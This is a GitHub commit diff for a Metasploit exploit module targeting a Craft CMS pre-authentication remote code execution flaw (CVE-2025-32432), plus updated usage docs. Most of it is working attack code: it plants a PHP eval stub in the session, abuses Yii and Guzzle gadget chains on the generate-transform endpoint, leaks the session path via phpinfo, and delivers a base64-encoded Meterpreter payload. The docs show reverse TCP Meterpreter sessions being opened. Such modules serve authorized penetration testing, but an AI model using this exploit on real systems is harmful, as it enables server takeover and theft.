Skip to content

Commit 39a5d71

Browse files
committed
Refactor module: modularization, session-path leak, randomized key, improved check
- Centralized fetch_cookies_and_csrf and execute_via_session methods for clarity - Added leak_session_path() to call send_transform("phpinfo") and parse session.save_path via XPath - In check(): first try to leak the PHP session directory (report vulnerable if successful), then perform a simple RCE check by summing two 4-digit random numbers with print_r() - Stub injection now happens once in fetch_cookies_and_csrf; execute_via_session only needs the payload - Randomized the "as hack" key in send_transform - Simplified exploit() to reuse execute_via_session with a Base64-encoded payload - Big thanks to @jvoisin for the suggestions!
1 parent f24801a commit 39a5d71

File tree

2 files changed

+133
-109
lines changed

2 files changed

+133
-109
lines changed

documentation/modules/exploit/linux/http/craftcms_preauth_rce_cve_2025_32432.md

Lines changed: 19 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -144,15 +144,15 @@ msf6 exploit(linux/http/craftcms_preauth_rce_cve_2025_32432) > options
144144

145145
Module options (exploit/linux/http/craftcms_preauth_rce_cve_2025_32432):
146146

147-
Name Current Setting Required Description
148-
---- --------------- -------- -----------
149-
ASSET_ID 60 yes Existing asset ID
150-
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
151-
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
152-
RPORT 80 yes The target port (TCP)
153-
SSL false no Negotiate SSL/TLS for outgoing connections
154-
TARGETURI / yes Base path
155-
VHOST no HTTP server virtual host
147+
Name Current Setting Required Description
148+
---- --------------- -------- -----------
149+
ASSET_ID 410 yes Existing asset ID
150+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
151+
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-m
152+
etasploit.html
153+
RPORT 80 yes The target port (TCP)
154+
SSL false no Negotiate SSL/TLS for outgoing connections
155+
VHOST no HTTP server virtual host
156156

157157

158158
Payload options (php/meterpreter/reverse_tcp):
@@ -169,18 +169,20 @@ Exploit target:
169169
-- ----
170170
0 PHP In-Memory
171171

172+
173+
172174
View the full module info with the info, or info -d command.
173175
```
174176

175177
```bash
176178
msf6 exploit(linux/http/craftcms_preauth_rce_cve_2025_32432) > exploit http://exploit-craft.ddev.site/
177179
[*] Started reverse TCP handler on 192.168.1.36:4444
178180
[*] Running automatic check ("set AutoCheck false" to disable)
179-
[+] The target is vulnerable. License text detected
180-
[*] Making initial request to push payload and get a CSRF token..
181-
[*] Triggering code via assets/generate-transform
181+
[+] Leaked session.save_path: /var/lib/php/sessions
182+
[+] The target is vulnerable. Session path leaked
183+
[*] Injecting stub & triggering payload...
182184
[*] Sending stage (40004 bytes) to 172.24.0.2
183-
[*] Meterpreter session 3 opened (192.168.1.36:4444 -> 172.24.0.2:42740) at 2025-04-26 05:00:08 +0200
185+
[*] Meterpreter session 12 opened (192.168.1.36:4444 -> 172.24.0.2:35238) at 2025-04-29 21:52:44 +0200
184186

185187
meterpreter > sysinfo
186188
Computer : exploit-craft-web
@@ -198,11 +200,11 @@ payload => cmd/linux/http/x64/meterpreter/reverse_tcp
198200
msf6 exploit(linux/http/craftcms_preauth_rce_cve_2025_32432) > exploit http://exploit-craft.ddev.site/
199201
[*] Started reverse TCP handler on 192.168.1.36:4444
200202
[*] Running automatic check ("set AutoCheck false" to disable)
201-
[+] The target is vulnerable. License text detected
202-
[*] Making initial request to push payload and get a CSRF token..
203-
[*] Triggering code via assets/generate-transform
203+
[+] Leaked session.save_path: /var/lib/php/sessions
204+
[+] The target is vulnerable. Session path leaked
205+
[*] Injecting stub & triggering payload...
204206
[*] Sending stage (3045380 bytes) to 172.24.0.2
205-
[*] Meterpreter session 4 opened (192.168.1.36:4444 -> 172.24.0.2:47562) at 2025-04-26 05:02:02 +0200
207+
[*] Meterpreter session 13 opened (192.168.1.36:4444 -> 172.24.0.2:33436) at 2025-04-29 21:53:43 +0200
206208

207209
meterpreter > sysinfo
208210
Computer : 172.24.0.2

modules/exploits/linux/http/craftcms_preauth_rce_cve_2025_32432.rb

Lines changed: 114 additions & 92 deletions
Original file line numberDiff line numberDiff line change
@@ -20,7 +20,6 @@ def initialize(info = {})
2020
in Craft CMS versions 3.x, 4.x, and 5.x < 5.6.17 via the image transform endpoint.
2121
It injects a PHP Meterpreter payload into the Craft session, then triggers its execution
2222
by abusing the Yii behavior gadget chain (PhpManager) on the generate-transform endpoint.
23-
2423
Discovered in the wild by Orange Cyberdefense CSIRT and assigned CVE-2025-32432.
2524
},
2625
'Author' => [
@@ -62,112 +61,57 @@ def initialize(info = {})
6261
)
6362
)
6463

65-
register_options(
66-
[
67-
OptString.new('TARGETURI', [ true, 'Base path', '/' ]),
68-
OptInt.new('ASSET_ID', [true, 'Existing asset ID', Rex::Text.rand_text_numeric(2..3)])
69-
]
70-
)
71-
end
72-
73-
def check
74-
csrf_token = fetch_cookies_and_csrf
75-
return CheckCode::Unknown('Could not retrieve cookies & CSRF') if csrf_token.nil?
76-
77-
vprint_status "Using CSRF token: #{csrf_token}"
78-
79-
response = send_transform(csrf_token, datastore['ASSET_ID'], 'phpinfo')
80-
return CheckCode::Unknown('No response from generate-transform') if response.nil?
81-
82-
if response.body.include?('If you did not receive a copy of the PHP license')
83-
CheckCode::Vulnerable('License text detected')
84-
else
85-
CheckCode::Safe('License text not detected')
86-
end
64+
register_options([
65+
OptInt.new('ASSET_ID', [true, 'Existing asset ID', Rex::Text.rand_text_numeric(2..3)])
66+
])
8767
end
8868

89-
def php_exec_cmd(encoded_payload)
90-
generator = Rex::RandomIdentifier::Generator.new
91-
disabled_var = "$#{generator[:dis]}"
92-
payload_b64 = Rex::Text.encode_base64(encoded_payload)
69+
def execute_via_session(payload)
70+
session_id, csrf, param_name = fetch_cookies_and_csrf
71+
return nil unless csrf
9372

94-
<<~PHP
95-
#{php_preamble(disabled_varname: disabled_var)}
96-
$c=base64_decode("#{payload_b64}");
97-
#{php_system_block(cmd_varname: '$c', disabled_varname: disabled_var)}
98-
PHP
99-
end
100-
101-
def exploit
102-
payload_code = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
103-
encoded_payload = framework.encoders
104-
.create('php/base64')
105-
.encode(payload_code)
106-
107-
random_param = Rex::Text.rand_text_alphanumeric(5..12)
108-
initial_payload = "<?php eval($_GET['#{random_param}']);die();"
109-
110-
print_status 'Making initial request to push payload and get a CSRF token'
111-
session_id, csrf_token = fetch_cookies_and_csrf(initial_payload)
112-
unless csrf_token
113-
fail_with(Failure::Unknown, 'Could not retrieve session ID and CSRF token')
114-
end
73+
vprint_status("Session ID: #{session_id} – stub injected under param #{param_name}")
11574

116-
vprint_status "Session ID: #{session_id}"
117-
vprint_status "CSRF token: #{csrf_token}"
75+
session_dir = @session_path || '/var/lib/php/sessions'
76+
session_file = normalize_uri(session_dir, "sess_#{session_id}")
11877

119-
print_status 'Triggering code via assets/generate-transform'
120-
request_payload = {
78+
body = {
12179
assetId: datastore['ASSET_ID'],
12280
handle: {
12381
width: Rex::Text.rand_text_numeric(1..5),
12482
height: Rex::Text.rand_text_numeric(1..5),
125-
'as hack' => {
83+
"as #{Rex::Text.rand_text_alphanumeric(1..8)}" => {
12684
class: 'craft\\behaviors\\FieldLayoutBehavior',
12785
__class: 'yii\\rbac\\PhpManager',
12886
'__construct()' => [
129-
{ itemFile: "/var/lib/php/sessions/sess_#{session_id}" }
87+
{ itemFile: session_file }
13088
]
13189
}
13290
}
13391
}.to_json
13492

135-
send_request_cgi!(
93+
send_request_cgi(
13694
'method' => 'POST',
13795
'uri' => normalize_uri(target_uri.path, 'index.php'),
138-
'vars_get' => { 'p' => 'actions/assets/generate-transform', random_param => encoded_payload },
139-
'headers' => { 'X-CSRF-Token' => csrf_token },
96+
'vars_get' => {
97+
'p' => 'actions/assets/generate-transform',
98+
param_name => payload
99+
},
100+
'headers' => { 'X-CSRF-Token' => csrf },
140101
'ctype' => 'application/json',
141-
'data' => request_payload,
102+
'data' => body,
142103
'keep_cookies' => true
143104
)
144105
end
145106

146-
def extract_csrf_token(res)
147-
get_token = lambda do |r|
148-
next unless r&.code == 200
149-
150-
r.get_html_document.at("//input[@name='CRAFT_CSRF_TOKEN']/@value")&.text
151-
end
152-
153-
token = get_token.call(res)
154-
155-
if token.nil? || token.empty?
156-
vprint_status 'CSRF not found, falling back to root'
157-
fb_res = send_request_cgi(
158-
'method' => 'GET',
159-
'uri' => normalize_uri(target_uri.path, 'index.php'),
160-
'keep_cookies' => true
161-
)
162-
token = get_token.call(fb_res)
163-
end
164-
165-
token unless token.nil? || token.empty?
166-
end
107+
def fetch_cookies_and_csrf
108+
param_name = Rex::Text.rand_text_alphanumeric(5..12)
109+
static_stub = "<?=eval($_GET['#{param_name}']);die()?>"
167110

168-
def fetch_cookies_and_csrf(payload_param = nil)
169-
rand_param = Rex::Text.rand_text_alphanumeric(5..12)
170-
params = { 'p' => 'admin/dashboard', rand_param => payload_param }.compact
111+
params = {
112+
'p' => 'admin/dashboard',
113+
param_name => static_stub
114+
}
171115

172116
cookie_jar.clear
173117
res = send_request_cgi(
@@ -178,9 +122,8 @@ def fetch_cookies_and_csrf(payload_param = nil)
178122
)
179123
return nil unless res
180124

181-
raw_cookies = res.get_cookies.to_s
182-
session_id = raw_cookies.scan(/CraftSessionId=([^;]+)/).flatten.first
183-
return nil if session_id.nil? || session_id.empty?
125+
session_id = res.get_cookies[/CraftSessionId=([^;]+)/, 1]
126+
return nil if session_id.to_s.empty?
184127

185128
if res.code == 302 && res.headers['Location']
186129
res = send_request_cgi(
@@ -190,10 +133,41 @@ def fetch_cookies_and_csrf(payload_param = nil)
190133
)
191134
end
192135

193-
token = extract_csrf_token(res)
194-
return nil unless token
136+
csrf = extract_csrf_token(res)
137+
return nil unless csrf
138+
139+
[session_id, csrf, param_name]
140+
end
141+
142+
def extract_csrf_token(res)
143+
doc = res.get_html_document
144+
token = doc.at('//input[@name="CRAFT_CSRF_TOKEN"]/@value')&.text
145+
return token unless token.to_s.empty?
146+
147+
vprint_status('CSRF not found in dashboard, falling back to root')
148+
res2 = send_request_cgi(
149+
'method' => 'GET',
150+
'uri' => normalize_uri(target_uri.path, 'index.php'),
151+
'keep_cookies' => true
152+
)
153+
res2.get_html_document.at('//input[@name="CRAFT_CSRF_TOKEN"]/@value')&.text
154+
end
155+
156+
def leak_session_path(csrf)
157+
res = send_transform(csrf, datastore['ASSET_ID'], 'phpinfo')
158+
return nil unless res&.body
159+
160+
doc = res.get_html_document
161+
162+
path = doc.at_xpath(
163+
"//tr[td[@class='e' and normalize-space(text())='session.save_path']]/td[@class='v']"
164+
)&.text
195165

196-
payload_param ? [session_id, token] : token
166+
path ||= doc.at_xpath(
167+
"//h2[normalize-space(text())='Session Save Path']/following-sibling::p[1]"
168+
)&.text
169+
170+
path&.strip
197171
end
198172

199173
def send_transform(csrf, asset_id, php_string)
@@ -202,12 +176,10 @@ def send_transform(csrf, asset_id, php_string)
202176
'handle' => {
203177
'width' => Rex::Text.rand_text_numeric(1..5),
204178
'height' => Rex::Text.rand_text_numeric(1..5),
205-
'as session' => {
179+
"as #{Rex::Text.rand_text_alphanumeric(1..8)}" => {
206180
'class' => 'craft\\behaviors\\FieldLayoutBehavior',
207181
'__class' => 'GuzzleHttp\\Psr7\\FnStream',
208-
'__construct()' => [
209-
[]
210-
],
182+
'__construct()' => [[]],
211183
'_fn_close' => php_string
212184
}
213185
}
@@ -222,4 +194,54 @@ def send_transform(csrf, asset_id, php_string)
222194
'data' => json_data
223195
)
224196
end
197+
198+
def check
199+
_, csrf, = fetch_cookies_and_csrf
200+
return CheckCode::Unknown('Could not retrieve session & CSRF') unless csrf
201+
202+
if (path = leak_session_path(csrf))
203+
@session_path = path
204+
print_good("Leaked session.save_path: #{@session_path}")
205+
return CheckCode::Vulnerable('Session path leaked')
206+
end
207+
208+
a = Rex::Text.rand_text_numeric(4).to_i
209+
b = Rex::Text.rand_text_numeric(4).to_i
210+
211+
expr = "#{a}+#{b}"
212+
sum = a + b
213+
print_status("Checking RCE: #{expr}")
214+
215+
payload = "print_r(#{expr});"
216+
res = execute_via_session(payload)
217+
return CheckCode::Unknown('No response') unless res
218+
219+
if res.body.include?(sum.to_s)
220+
CheckCode::Vulnerable("Detected RCE: #{sum}")
221+
else
222+
CheckCode::Safe("Sum #{sum} not found")
223+
end
224+
end
225+
226+
def exploit
227+
raw = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
228+
b64 = Rex::Text.encode_base64(raw)
229+
230+
payload_code = "eval(base64_decode('#{b64}'));"
231+
232+
print_status('Injecting stub & triggering payload...')
233+
execute_via_session(payload_code)
234+
end
235+
236+
def php_exec_cmd(encoded_payload)
237+
gen = Rex::RandomIdentifier::Generator.new
238+
disabled_var = "$#{gen[:dis]}"
239+
b64 = Rex::Text.encode_base64(encoded_payload)
240+
241+
<<~PHP
242+
#{php_preamble(disabled_varname: disabled_var)}
243+
$c=base64_decode("#{b64}");
244+
#{php_system_block(cmd_varname: '$c', disabled_varname: disabled_var)}
245+
PHP
246+
end
225247
end

0 commit comments

Comments
 (0)